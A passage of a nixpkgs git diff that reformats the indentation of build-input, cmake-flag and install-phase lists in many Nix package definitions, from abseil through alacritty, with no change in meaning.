-      (lib.cmakeBool "ABSL_BUILD_TEST_HELPERS" true)
-      (lib.cmakeBool "ABSL_USE_EXTERNAL_GOOGLETEST" true)
-      (lib.cmakeBool "BUILD_SHARED_LIBS" (!static))
-    ]
-    ++ lib.optionals (cxxStandard != null) [
-      (lib.cmakeFeature "CMAKE_CXX_STANDARD" cxxStandard)
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "ABSL_BUILD_TEST_HELPERS" true)
+    (lib.cmakeBool "ABSL_USE_EXTERNAL_GOOGLETEST" true)
+    (lib.cmakeBool "BUILD_SHARED_LIBS" (!static))
+  ]
+  ++ lib.optionals (cxxStandard != null) [
+    (lib.cmakeFeature "CMAKE_CXX_STANDARD" cxxStandard)
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/ac/accountsservice/package.nix b/pkgs/by-name/ac/accountsservice/package.nix
index 49ec225068b1..e57769e21a8e 100644
--- a/pkgs/by-name/ac/accountsservice/package.nix
+++ b/pkgs/by-name/ac/accountsservice/package.nix
@@ -55,20 +55,19 @@ stdenv.mkDerivation rec {
     ./get-dm-type-from-config.patch
   ];
 
-  nativeBuildInputs =
-    [
-      gettext
-      gobject-introspection
-      meson
-      ninja
-      pkg-config
-      python3
-      vala
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      #  meson.build:88:2: ERROR: Can not run test applications in this cross environment.
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    gettext
+    gobject-introspection
+    meson
+    ninja
+    pkg-config
+    python3
+    vala
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    #  meson.build:88:2: ERROR: Can not run test applications in this cross environment.
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     dbus
diff --git a/pkgs/by-name/ac/acsccid/package.nix b/pkgs/by-name/ac/acsccid/package.nix
index 37a49bfbabc3..65981c794a30 100644
--- a/pkgs/by-name/ac/acsccid/package.nix
+++ b/pkgs/by-name/ac/acsccid/package.nix
@@ -35,14 +35,13 @@ stdenv.mkDerivation rec {
     perl
   ];
 
-  buildInputs =
-    [
-      pcsclite
-      libusb1
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    pcsclite
+    libusb1
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   configureFlags = [
     "--enable-usbdropdir=${placeholder "out"}/pcsc/drivers"
diff --git a/pkgs/by-name/ad/adaptivecpp/package.nix b/pkgs/by-name/ad/adaptivecpp/package.nix
index 5949c7e91f5f..b8da54ef2339 100644
--- a/pkgs/by-name/ad/adaptivecpp/package.nix
+++ b/pkgs/by-name/ad/adaptivecpp/package.nix
@@ -59,44 +59,41 @@ stdenv.mkDerivation (finalAttrs: {
     '';
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      makeWrapper
-    ]
-    ++ lib.optionals cudaSupport [
-      autoAddDriverRunpath
-      cudaPackages.cuda_nvcc
-    ];
+  nativeBuildInputs = [
+    cmake
+    makeWrapper
+  ]
+  ++ lib.optionals cudaSupport [
+    autoAddDriverRunpath
+    cudaPackages.cuda_nvcc
+  ];
 
-  buildInputs =
-    [
-      libxml2
-      libffi
-      boost
-      python3
-      llvmPackages.openmp
-      llvmPackages.libclang.dev
-      llvmPackages.llvm
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_cudart
-      (lib.getOutput "stubs" cudaPackages.cuda_cudart)
-    ];
+  buildInputs = [
+    libxml2
+    libffi
+    boost
+    python3
+    llvmPackages.openmp
+    llvmPackages.libclang.dev
+    llvmPackages.llvm
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_cudart
+    (lib.getOutput "stubs" cudaPackages.cuda_cudart)
+  ];
 
   # adaptivecpp makes use of clangs internal headers. Its cmake does not successfully discover them automatically on nixos, so we supply the path manually
-  cmakeFlags =
-    [
-      (lib.cmakeFeature "CLANG_INCLUDE_PATH" "${llvmPackages.libclang.dev}/include")
-      (lib.cmakeBool "WITH_CPU_BACKEND" ompSupport)
-      (lib.cmakeBool "WITH_CUDA_BACKEND" cudaSupport)
-      (lib.cmakeBool "WITH_ROCM_BACKEND" rocmSupport)
-      (lib.cmakeBool "WITH_OPENCL_BACKEND" openclSupport)
-    ]
-    ++ lib.optionals rocmSupport [
-      (lib.cmakeFeature "HIPCC_COMPILER" "${finalAttrs.rocmMerged}/bin/hipcc")
-      (lib.cmakeFeature "ROCM_PATH" "${finalAttrs.rocmMerged}")
-    ];
+  cmakeFlags = [
+    (lib.cmakeFeature "CLANG_INCLUDE_PATH" "${llvmPackages.libclang.dev}/include")
+    (lib.cmakeBool "WITH_CPU_BACKEND" ompSupport)
+    (lib.cmakeBool "WITH_CUDA_BACKEND" cudaSupport)
+    (lib.cmakeBool "WITH_ROCM_BACKEND" rocmSupport)
+    (lib.cmakeBool "WITH_OPENCL_BACKEND" openclSupport)
+  ]
+  ++ lib.optionals rocmSupport [
+    (lib.cmakeFeature "HIPCC_COMPILER" "${finalAttrs.rocmMerged}/bin/hipcc")
+    (lib.cmakeFeature "ROCM_PATH" "${finalAttrs.rocmMerged}")
+  ];
 
   # this hardening option breaks rocm builds
   hardeningDisable = [ "zerocallusedregs" ];
diff --git a/pkgs/by-name/ad/adaptivecpp/tests.nix b/pkgs/by-name/ad/adaptivecpp/tests.nix
index cf8e1d9516f7..7ce1149ff6b7 100644
--- a/pkgs/by-name/ad/adaptivecpp/tests.nix
+++ b/pkgs/by-name/ad/adaptivecpp/tests.nix
@@ -28,25 +28,23 @@ stdenv.mkDerivation (finalAttrs: {
 
   sourceRoot = "${adaptivecpp.src.name}/tests";
 
-  cmakeFlags =
-    [
-      (lib.cmakeFeature "AdaptiveCpp_DIR" "${adaptivecpp}/lib/cmake/AdaptiveCpp")
-      (lib.cmakeBool "WITH_PSTL_TESTS" enablePstlTests)
-    ]
-    ++ lib.optionals (targets != null) [
-      (lib.cmakeFeature "DACCP_TARGETS" "${targets}")
-    ];
+  cmakeFlags = [
+    (lib.cmakeFeature "AdaptiveCpp_DIR" "${adaptivecpp}/lib/cmake/AdaptiveCpp")
+    (lib.cmakeBool "WITH_PSTL_TESTS" enablePstlTests)
+  ]
+  ++ lib.optionals (targets != null) [
+    (lib.cmakeFeature "DACCP_TARGETS" "${targets}")
+  ];
 
-  installPhase =
-    ''
-      mkdir $out
-      install -Dm755 sycl_tests -t $out/bin/
-      install -Dm755 rt_tests -t $out/bin/
-      install -Dm755 device_compilation_tests -t $out/bin/
-      install -Dm755 dump_test/dump_test -t $out/bin/
-      install -Dm755 platform_api/platform_api -t $out/bin/
-    ''
-    + lib.optionalString enablePstlTests ''
-      install -Dm755 pstl_tests -t $out/bin/
-    '';
+  installPhase = ''
+    mkdir $out
+    install -Dm755 sycl_tests -t $out/bin/
+    install -Dm755 rt_tests -t $out/bin/
+    install -Dm755 device_compilation_tests -t $out/bin/
+    install -Dm755 dump_test/dump_test -t $out/bin/
+    install -Dm755 platform_api/platform_api -t $out/bin/
+  ''
+  + lib.optionalString enablePstlTests ''
+    install -Dm755 pstl_tests -t $out/bin/
+  '';
 })
diff --git a/pkgs/by-name/ad/adios2/package.nix b/pkgs/by-name/ad/adios2/package.nix
index 6dc9083f41dd..caf2e101a029 100644
--- a/pkgs/by-name/ad/adios2/package.nix
+++ b/pkgs/by-name/ad/adios2/package.nix
@@ -42,57 +42,54 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-NVyw7xoPutXeUS87jjVv1YxJnwNGZAT4QfkBLzvQbwg=";
   };
 
-  postPatch =
-    ''
-      patchShebangs cmake/install/post/generate-adios2-config.sh.in
-    ''
-    # Dynamic cast to nullptr on darwin platform, switch to unsafe reinterpret cast.
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace bindings/Python/py11{Attribute,Engine,Variable}.cpp \
-        --replace-fail "dynamic_cast" "reinterpret_cast"
-    '';
+  postPatch = ''
+    patchShebangs cmake/install/post/generate-adios2-config.sh.in
+  ''
+  # Dynamic cast to nullptr on darwin platform, switch to unsafe reinterpret cast.
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace bindings/Python/py11{Attribute,Engine,Variable}.cpp \
+      --replace-fail "dynamic_cast" "reinterpret_cast"
+  '';
 
-  nativeBuildInputs =
-    [
-      perl
-      cmake
-      ninja
-      gfortran
-      pkg-config
-    ]
-    ++ lib.optionals pythonSupport [
-      python3
-      python3Packages.pybind11
-    ];
+  nativeBuildInputs = [
+    perl
+    cmake
+    ninja
+    gfortran
+    pkg-config
+  ]
+  ++ lib.optionals pythonSupport [
+    python3
+    python3Packages.pybind11
+  ];
 
-  buildInputs =
-    [
-      mpi
-      bzip2
-      lz4
-      c-blosc2
-      (hdf5-mpi.override { inherit mpi; })
-      libfabric
-      libpng
-      libsodium
-      pugixml
-      sqlite
-      zeromq
-      zfp
-      zlib
-      zlib-ng # required by c-blocs2
-      zstd # required by c-blocs2
-      yaml-cpp
-      nlohmann_json
+  buildInputs = [
+    mpi
+    bzip2
+    lz4
+    c-blosc2
+    (hdf5-mpi.override { inherit mpi; })
+    libfabric
+    libpng
+    libsodium
+    pugixml
+    sqlite
+    zeromq
+    zfp
+    zlib
+    zlib-ng # required by c-blocs2
+    zstd # required by c-blocs2
+    yaml-cpp
+    nlohmann_json
 
-      # Todo: add these optional dependcies in nixpkgs.
-      # sz
-      # mgard
-      # catalyst
-    ]
-    ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform ucx) ucx
-    # openmp required by zfp
-    ++ lib.optional stdenv.cc.isClang llvmPackages.openmp;
+    # Todo: add these optional dependcies in nixpkgs.
+    # sz
+    # mgard
+    # catalyst
+  ]
+  ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform ucx) ucx
+  # openmp required by zfp
+  ++ lib.optional stdenv.cc.isClang llvmPackages.openmp;
 
   propagatedBuildInputs = lib.optionals pythonSupport [
     (python3Packages.mpi4py.override { inherit mpi; })
@@ -117,13 +114,12 @@ stdenv.mkDerivation (finalAttrs: {
   # Ctest takes too much time, so we only perform some smoke Python tests.
   doInstallCheck = pythonSupport;
 
-  preCheck =
-    ''
-      export PYTHONPATH=$out/${python3.sitePackages}:$PYTHONPATH
-    ''
-    + lib.optionalString (stdenv.hostPlatform.system == "aarch64-linux") ''
-      rm ../testing/adios2/python/TestBPWriteTypesHighLevelAPI.py
-    '';
+  preCheck = ''
+    export PYTHONPATH=$out/${python3.sitePackages}:$PYTHONPATH
+  ''
+  + lib.optionalString (stdenv.hostPlatform.system == "aarch64-linux") ''
+    rm ../testing/adios2/python/TestBPWriteTypesHighLevelAPI.py
+  '';
 
   pytestFlagsArray = [
     "../testing/adios2/python/Test*.py"
diff --git a/pkgs/by-name/ad/adlplug/package.nix b/pkgs/by-name/ad/adlplug/package.nix
index 16fb9beb6825..2902d59de731 100644
--- a/pkgs/by-name/ad/adlplug/package.nix
+++ b/pkgs/by-name/ad/adlplug/package.nix
@@ -74,21 +74,20 @@ stdenv.mkDerivation {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      fmt
-      liblo
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      freetype
-      libX11
-      libXrandr
-      libXinerama
-      libXext
-      libXcursor
-    ]
-    ++ lib.optionals withJack [ libjack2 ];
+  buildInputs = [
+    fmt
+    liblo
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    freetype
+    libX11
+    libXrandr
+    libXinerama
+    libXext
+    libXcursor
+  ]
+  ++ lib.optionals withJack [ libjack2 ];
 
   postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
     mkdir -p $out/{Applications,Library/Audio/Plug-Ins/{VST,Components}}
diff --git a/pkgs/by-name/ae/aegisub/package.nix b/pkgs/by-name/ae/aegisub/package.nix
index 114abcf5dd2b..5571e8051691 100644
--- a/pkgs/by-name/ae/aegisub/package.nix
+++ b/pkgs/by-name/ae/aegisub/package.nix
@@ -60,30 +60,29 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      boost
-      expat
-      ffmpeg
-      ffms
-      fftw
-      fontconfig
-      freetype
-      fribidi
-      harfbuzz
-      icu
-      libGL
-      libass
-      libuchardet
-      wxGTK32
-      zlib
-    ]
-    ++ lib.optionals alsaSupport [ alsa-lib ]
-    ++ lib.optionals (openalSupport && !stdenv.hostPlatform.isDarwin) [ openal ]
-    ++ lib.optionals portaudioSupport [ portaudio ]
-    ++ lib.optionals pulseaudioSupport [ libpulseaudio ]
-    ++ lib.optionals spellcheckSupport [ hunspell ]
-    ++ lib.optionals (!useBundledLuaJIT) [ luajit ];
+  buildInputs = [
+    boost
+    expat
+    ffmpeg
+    ffms
+    fftw
+    fontconfig
+    freetype
+    fribidi
+    harfbuzz
+    icu
+    libGL
+    libass
+    libuchardet
+    wxGTK32
+    zlib
+  ]
+  ++ lib.optionals alsaSupport [ alsa-lib ]
+  ++ lib.optionals (openalSupport && !stdenv.hostPlatform.isDarwin) [ openal ]
+  ++ lib.optionals portaudioSupport [ portaudio ]
+  ++ lib.optionals pulseaudioSupport [ libpulseaudio ]
+  ++ lib.optionals spellcheckSupport [ hunspell ]
+  ++ lib.optionals (!useBundledLuaJIT) [ luajit ];
 
   mesonFlags = [
     (lib.mesonEnable "alsa" alsaSupport)
diff --git a/pkgs/by-name/ae/aerc/package.nix b/pkgs/by-name/ae/aerc/package.nix
index 906c9a39f7f6..12ebcc226eb6 100644
--- a/pkgs/by-name/ae/aerc/package.nix
+++ b/pkgs/by-name/ae/aerc/package.nix
@@ -59,7 +59,8 @@ buildGoModule (finalAttrs: {
   buildInputs = [
     python3Packages.python
     gawk
-  ] ++ lib.optional withNotmuch notmuch;
+  ]
+  ++ lib.optional withNotmuch notmuch;
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/af/afew/package.nix b/pkgs/by-name/af/afew/package.nix
index 912f7ec3d301..ac4b404467a2 100644
--- a/pkgs/by-name/af/afew/package.nix
+++ b/pkgs/by-name/af/afew/package.nix
@@ -35,14 +35,13 @@ python3Packages.buildPythonApplication rec {
     setuptools
   ];
 
-  nativeCheckInputs =
-    [
-      pkgs.notmuch
-    ]
-    ++ (with python3Packages; [
-      freezegun
-      pytestCheckHook
-    ]);
+  nativeCheckInputs = [
+    pkgs.notmuch
+  ]
+  ++ (with python3Packages; [
+    freezegun
+    pytestCheckHook
+  ]);
 
   makeWrapperArgs = [
     ''--prefix PATH ':' "${pkgs.notmuch}/bin"''
diff --git a/pkgs/by-name/af/affine-bin/package.nix b/pkgs/by-name/af/affine-bin/package.nix
index b576208ee505..1ad8f5064466 100644
--- a/pkgs/by-name/af/affine-bin/package.nix
+++ b/pkgs/by-name/af/affine-bin/package.nix
@@ -37,32 +37,31 @@ stdenvNoCC.mkDerivation (
       productName = if buildType == "stable" then "AFFiNE" else "AFFiNE-" + buildType;
       binName = lib.toLower finalAttrs.productName;
       pname = "${finalAttrs.binName}-bin";
-      meta =
-        {
-          description = "Workspace with fully merged docs, whiteboards and databases";
-          longDescription = ''
-            AFFiNE is an open-source, all-in-one workspace and an operating
-            system for all the building blocks that assemble your knowledge
-            base and much more -- wiki, knowledge management, presentation
-            and digital assets
-          '';
-          homepage = "https://affine.pro/";
-          license = lib.licenses.mit;
-          maintainers = with lib.maintainers; [
-            richar
-            redyf
-            xiaoxiangmoe
-          ];
-          platforms = [
-            "aarch64-darwin"
-            "x86_64-darwin"
-            "x86_64-linux"
-          ];
-          sourceProvenance = [ lib.sourceTypes.binaryBytecode ];
-        }
-        // lib.optionalAttrs hostPlatform.isLinux {
-          mainProgram = finalAttrs.binName;
-        };
+      meta = {
+        description = "Workspace with fully merged docs, whiteboards and databases";
+        longDescription = ''
+          AFFiNE is an open-source, all-in-one workspace and an operating
+          system for all the building blocks that assemble your knowledge
+          base and much more -- wiki, knowledge management, presentation
+          and digital assets
+        '';
+        homepage = "https://affine.pro/";
+        license = lib.licenses.mit;
+        maintainers = with lib.maintainers; [
+          richar
+          redyf
+          xiaoxiangmoe
+        ];
+        platforms = [
+          "aarch64-darwin"
+          "x86_64-darwin"
+          "x86_64-linux"
+        ];
+        sourceProvenance = [ lib.sourceTypes.binaryBytecode ];
+      }
+      // lib.optionalAttrs hostPlatform.isLinux {
+        mainProgram = finalAttrs.binName;
+      };
 
       src = (
         let
@@ -81,14 +80,13 @@ stdenvNoCC.mkDerivation (
         }
       );
 
-      nativeBuildInputs =
-        [
-          unzip
-        ]
-        ++ lib.optionals hostPlatform.isLinux [
-          copyDesktopItems
-          makeWrapper
-        ];
+      nativeBuildInputs = [
+        unzip
+      ]
+      ++ lib.optionals hostPlatform.isLinux [
+        copyDesktopItems
+        makeWrapper
+      ];
 
       installPhase =
         let
diff --git a/pkgs/by-name/af/affine/package.nix b/pkgs/by-name/af/affine/package.nix
index c069ac1a5437..ccd65fce0f1e 100644
--- a/pkgs/by-name/af/affine/package.nix
+++ b/pkgs/by-name/af/affine/package.nix
@@ -105,26 +105,25 @@ stdenv.mkDerivation (finalAttrs: {
     apple-sdk_15
   ];
 
-  nativeBuildInputs =
-    [
-      nodejs
-      yarn-berry
-      cargo
-      rustc
-      findutils
-      zip
-      jq
-      rsync
-      writableTmpDirAsHomeHook
-    ]
-    ++ lib.optionals hostPlatform.isLinux [
-      copyDesktopItems
-      makeWrapper
-    ]
-    ++ lib.optionals hostPlatform.isDarwin [
-      # bindgenHook is needed to build `coreaudio-sys` on darwin
-      rustPlatform.bindgenHook
-    ];
+  nativeBuildInputs = [
+    nodejs
+    yarn-berry
+    cargo
+    rustc
+    findutils
+    zip
+    jq
+    rsync
+    writableTmpDirAsHomeHook
+  ]
+  ++ lib.optionals hostPlatform.isLinux [
+    copyDesktopItems
+    makeWrapper
+  ]
+  ++ lib.optionals hostPlatform.isDarwin [
+    # bindgenHook is needed to build `coreaudio-sys` on darwin
+    rustPlatform.bindgenHook
+  ];
 
   env = {
     # force yarn install run in CI mode
diff --git a/pkgs/by-name/af/afflib/package.nix b/pkgs/by-name/af/afflib/package.nix
index 2193411b6a63..abc998f8bc65 100644
--- a/pkgs/by-name/af/afflib/package.nix
+++ b/pkgs/by-name/af/afflib/package.nix
@@ -24,16 +24,15 @@ stdenv.mkDerivation rec {
   };
 
   nativeBuildInputs = [ autoreconfHook ];
-  buildInputs =
-    [
-      zlib
-      curl
-      expat
-      openssl
-      python3
-    ]
-    ++ lib.optionals (with stdenv; isLinux || isDarwin) [ fuse ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
+  buildInputs = [
+    zlib
+    curl
+    expat
+    openssl
+    python3
+  ]
+  ++ lib.optionals (with stdenv; isLinux || isDarwin) [ fuse ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
   meta = {
     homepage = "http://afflib.sourceforge.net/";
diff --git a/pkgs/by-name/ag/age-plugin-yubikey/package.nix b/pkgs/by-name/ag/age-plugin-yubikey/package.nix
index 0584961dc788..8968bedba184 100644
--- a/pkgs/by-name/ag/age-plugin-yubikey/package.nix
+++ b/pkgs/by-name/ag/age-plugin-yubikey/package.nix
@@ -28,7 +28,8 @@ rustPlatform.buildRustPackage rec {
 
   buildInputs = [
     openssl
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ pcsclite ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ pcsclite ];
 
   meta = with lib; {
     description = "YubiKey plugin for age";
diff --git a/pkgs/by-name/ag/ags/bundle.nix b/pkgs/by-name/ag/ags/bundle.nix
index d1aa9a91b391..7609fd51e248 100644
--- a/pkgs/by-name/ag/ags/bundle.nix
+++ b/pkgs/by-name/ag/ags/bundle.nix
@@ -40,27 +40,26 @@ stdenvNoCC.mkDerivation (
         astal.io
       ];
 
-    preFixup =
-      ''
-        gappsWrapperArgs+=(
-          --prefix PATH : ${
-            lib.makeBinPath (
-              dependencies
-              ++ [
-                dart-sass
-                fzf
-                gtk3
-              ]
-            )
-          }
-        )
-      ''
-      + lib.optionalString enableGtk4 ''
-        gappsWrapperArgs+=(
-          --set LD_PRELOAD "${gtk4-layer-shell}/lib/libgtk4-layer-shell.so"
-        )
-      ''
-      + (attrs.preFixup or "");
+    preFixup = ''
+      gappsWrapperArgs+=(
+        --prefix PATH : ${
+          lib.makeBinPath (
+            dependencies
+            ++ [
+              dart-sass
+              fzf
+              gtk3
+            ]
+          )
+        }
+      )
+    ''
+    + lib.optionalString enableGtk4 ''
+      gappsWrapperArgs+=(
+        --set LD_PRELOAD "${gtk4-layer-shell}/lib/libgtk4-layer-shell.so"
+      )
+    ''
+    + (attrs.preFixup or "");
 
     installPhase =
       let
diff --git a/pkgs/by-name/ah/ahoviewer/package.nix b/pkgs/by-name/ah/ahoviewer/package.nix
index cf1f95645ffd..bf811cf6347d 100644
--- a/pkgs/by-name/ah/ahoviewer/package.nix
+++ b/pkgs/by-name/ah/ahoviewer/package.nix
@@ -53,7 +53,8 @@ stdenv.mkDerivation rec {
     gst_all_1.gst-plugins-good
     gst_all_1.gst-libav
     gst_all_1.gst-plugins-base
-  ] ++ lib.optional useUnrar unrar;
+  ]
+  ++ lib.optional useUnrar unrar;
 
   NIX_LDFLAGS = "-lpthread";
 
diff --git a/pkgs/by-name/ai/aircrack-ng/package.nix b/pkgs/by-name/ai/aircrack-ng/package.nix
index b9c42d6cb30b..fa846eb32859 100644
--- a/pkgs/by-name/ai/aircrack-ng/package.nix
+++ b/pkgs/by-name/ai/aircrack-ng/package.nix
@@ -113,17 +113,16 @@ stdenv.mkDerivation rec {
   '';
 
   installCheckTarget = "integration";
-  nativeInstallCheckInputs =
-    [
-      cmocka
-      expect
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      tcpdump
-      hostapd
-      wpa_supplicant
-      screen
-    ];
+  nativeInstallCheckInputs = [
+    cmocka
+    expect
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    tcpdump
+    hostapd
+    wpa_supplicant
+    screen
+  ];
 
   meta = {
     description = "WiFi security auditing tools suite";
diff --git a/pkgs/by-name/ai/airgeddon/package.nix b/pkgs/by-name/ai/airgeddon/package.nix
index 3d03cd3e02c3..1a74b5882853 100644
--- a/pkgs/by-name/ai/airgeddon/package.nix
+++ b/pkgs/by-name/ai/airgeddon/package.nix
@@ -58,60 +58,59 @@
   supportX11 ? false, # Allow using xterm instead of tmux, hard to test
 }:
 let
-  deps =
-    [
-      aircrack-ng
-      bash
-      coreutils-full
-      curl
-      gawk
-      glibc
-      gnugrep
-      gnused
-      iproute2
-      iw
-      networkmanager
-      ncurses
-      pciutils
-      procps
-      tmux
-      usbutils
-      wget
-      ethtool
-      util-linux
-      ccze
-      systemd
-    ]
-    ++ lib.optionals supportWpaWps [
-      bully
-      pixiewps
-      reaverwps-t6x
-    ]
-    ++ lib.optionals supportHashCracking [
-      asleap
-      crunch
-      hashcat
-      hcxdumptool
-      hcxtools
-      john
-      wireshark-cli
-    ]
-    ++ lib.optionals supportEvilTwin [
-      bettercap
-      dnsmasq
-      ettercap
-      hostapd
-      lighttpd
-      openssl
-      mdk4
-      nftables
-      apparmor-bin-utils
-    ]
-    ++ lib.optionals supportX11 [
-      xterm
-      xorg.xset
-      xorg.xdpyinfo
-    ];
+  deps = [
+    aircrack-ng
+    bash
+    coreutils-full
+    curl
+    gawk
+    glibc
+    gnugrep
+    gnused
+    iproute2
+    iw
+    networkmanager
+    ncurses
+    pciutils
+    procps
+    tmux
+    usbutils
+    wget
+    ethtool
+    util-linux
+    ccze
+    systemd
+  ]
+  ++ lib.optionals supportWpaWps [
+    bully
+    pixiewps
+    reaverwps-t6x
+  ]
+  ++ lib.optionals supportHashCracking [
+    asleap
+    crunch
+    hashcat
+    hcxdumptool
+    hcxtools
+    john
+    wireshark-cli
+  ]
+  ++ lib.optionals supportEvilTwin [
+    bettercap
+    dnsmasq
+    ettercap
+    hostapd
+    lighttpd
+    openssl
+    mdk4
+    nftables
+    apparmor-bin-utils
+  ]
+  ++ lib.optionals supportX11 [
+    xterm
+    xorg.xset
+    xorg.xdpyinfo
+  ];
 in
 stdenv.mkDerivation rec {
   pname = "airgeddon";
diff --git a/pkgs/by-name/ai/airtame/package.nix b/pkgs/by-name/ai/airtame/package.nix
index e67d572ccdef..2c7b1994e3b4 100644
--- a/pkgs/by-name/ai/airtame/package.nix
+++ b/pkgs/by-name/ai/airtame/package.nix
@@ -59,7 +59,8 @@ let
     libGL
     vulkan-loader
     curlWithGnuTls
-  ] ++ xorgDeps;
+  ]
+  ++ xorgDeps;
 
   libPath = lib.makeLibraryPath deps + ":" + lib.makeSearchPathOutput "lib" "lib64" deps;
   binPath = lib.makeBinPath deps;
diff --git a/pkgs/by-name/ai/airwin2rack/package.nix b/pkgs/by-name/ai/airwin2rack/package.nix
index f622c15f192e..3203ae4a60d1 100644
--- a/pkgs/by-name/ai/airwin2rack/package.nix
+++ b/pkgs/by-name/ai/airwin2rack/package.nix
@@ -83,71 +83,68 @@ stdenv.mkDerivation {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      copyDesktopItems
-    ]
-    ++ lib.optionals enableVCVRack [
-      jq
-      zstd
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    copyDesktopItems
+  ]
+  ++ lib.optionals enableVCVRack [
+    jq
+    zstd
+  ];
 
-  buildInputs =
-    [
-      alsa-lib
-      xorg.libX11
-      xorg.libXcomposite
-      xorg.libXcursor
-      xorg.libXext
-      xorg.libXinerama
-      xorg.libXrandr
-      xorg.libXrender
-      xorg.libXtst
-      xorg.libXdmcp
-      libGLU
-      libjack2
-      freetype
-      webkitgtk_4_0
-      glib
-      gtk3-x11
-      curl
-      libsysprof-capture
-      pcre2
-      util-linux
-      libselinux
-      libsepol
-      libthai
-      libxkbcommon
-      libdatrie
-      libepoxy
-      libsoup_2_4
-      lerc
-      sqlite
-    ]
-    ++ lib.optionals enableVCVRack [
-      vcv-rack
-      jansson
-      glew
-      glfw
-      libarchive
-      speexdsp
-      libpulseaudio
-      libsamplerate
-      rtmidi
-      zstd
-    ];
+  buildInputs = [
+    alsa-lib
+    xorg.libX11
+    xorg.libXcomposite
+    xorg.libXcursor
+    xorg.libXext
+    xorg.libXinerama
+    xorg.libXrandr
+    xorg.libXrender
+    xorg.libXtst
+    xorg.libXdmcp
+    libGLU
+    libjack2
+    freetype
+    webkitgtk_4_0
+    glib
+    gtk3-x11
+    curl
+    libsysprof-capture
+    pcre2
+    util-linux
+    libselinux
+    libsepol
+    libthai
+    libxkbcommon
+    libdatrie
+    libepoxy
+    libsoup_2_4
+    lerc
+    sqlite
+  ]
+  ++ lib.optionals enableVCVRack [
+    vcv-rack
+    jansson
+    glew
+    glfw
+    libarchive
+    speexdsp
+    libpulseaudio
+    libsamplerate
+    rtmidi
+    zstd
+  ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_JUCE_PLUGIN" true)
-      (lib.cmakeBool "USE_JUCE_PROGRAMS" true)
-    ]
-    ++ lib.optionals enableVCVRack [
-      (lib.cmakeBool "BUILD_RACK_PLUGIN" true)
-      (lib.cmakeFeature "RACK_SDK_DIR" "${vcvRackSdk}")
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_JUCE_PLUGIN" true)
+    (lib.cmakeBool "USE_JUCE_PROGRAMS" true)
+  ]
+  ++ lib.optionals enableVCVRack [
+    (lib.cmakeBool "BUILD_RACK_PLUGIN" true)
+    (lib.cmakeFeature "RACK_SDK_DIR" "${vcvRackSdk}")
+  ];
 
   cmakeBuildType = "Release";
 
diff --git a/pkgs/by-name/ak/akkoma-admin-fe/package.nix b/pkgs/by-name/ak/akkoma-admin-fe/package.nix
index e4b47dd374e9..a1b4cb20f1e6 100644
--- a/pkgs/by-name/ak/akkoma-admin-fe/package.nix
+++ b/pkgs/by-name/ak/akkoma-admin-fe/package.nix
@@ -41,7 +41,8 @@ stdenv.mkDerivation (finalAttrs: {
     python3
     git
     libsass
-  ] ++ lib.optional stdenv.isDarwin xcbuild;
+  ]
+  ++ lib.optional stdenv.isDarwin xcbuild;
 
   configurePhase = ''
     runHook preConfigure
diff --git a/pkgs/by-name/al/alacritty/package.nix b/pkgs/by-name/al/alacritty/package.nix
index 6fd102d45387..bc65dc2a0f63 100644
--- a/pkgs/by-name/al/alacritty/package.nix
+++ b/pkgs/by-name/al/alacritty/package.nix
@@ -25,22 +25,21 @@
   nix-update-script,
 }:
 let
-  rpathLibs =
-    [
-      expat
-      fontconfig
-      freetype
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libGL
-      xorg.libX11
-      xorg.libXcursor
-      xorg.libXi
-      xorg.libXxf86vm
-      xorg.libxcb
-      libxkbcommon
-      wayland
-    ];
+  rpathLibs = [
+    expat
+    fontconfig
+    freetype
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libGL
+    xorg.libX11
+    xorg.libXcursor
+    xorg.libXi
+    xorg.libXxf86vm
+    xorg.libxcb
+    libxkbcommon
+    wayland
+  ];
 in
 rustPlatform.buildRustPackage rec {
   pname = "alacritty";
diff --git a/pkgs/by-name/al/albert/package.nix b/pkgs/by-name/al/albert/package.nix
index c474a0bcc86c..e3129ac3ea01 100644
--- a/pkgs/by-name/al/albert/package.nix
+++ b/pkgs/by-name/al/albert/package.nix
@@ -30,23 +30,22 @@ stdenv.mkDerivation (finalAttrs: {
     qt6.wrapQtAppsHook
   ];
 
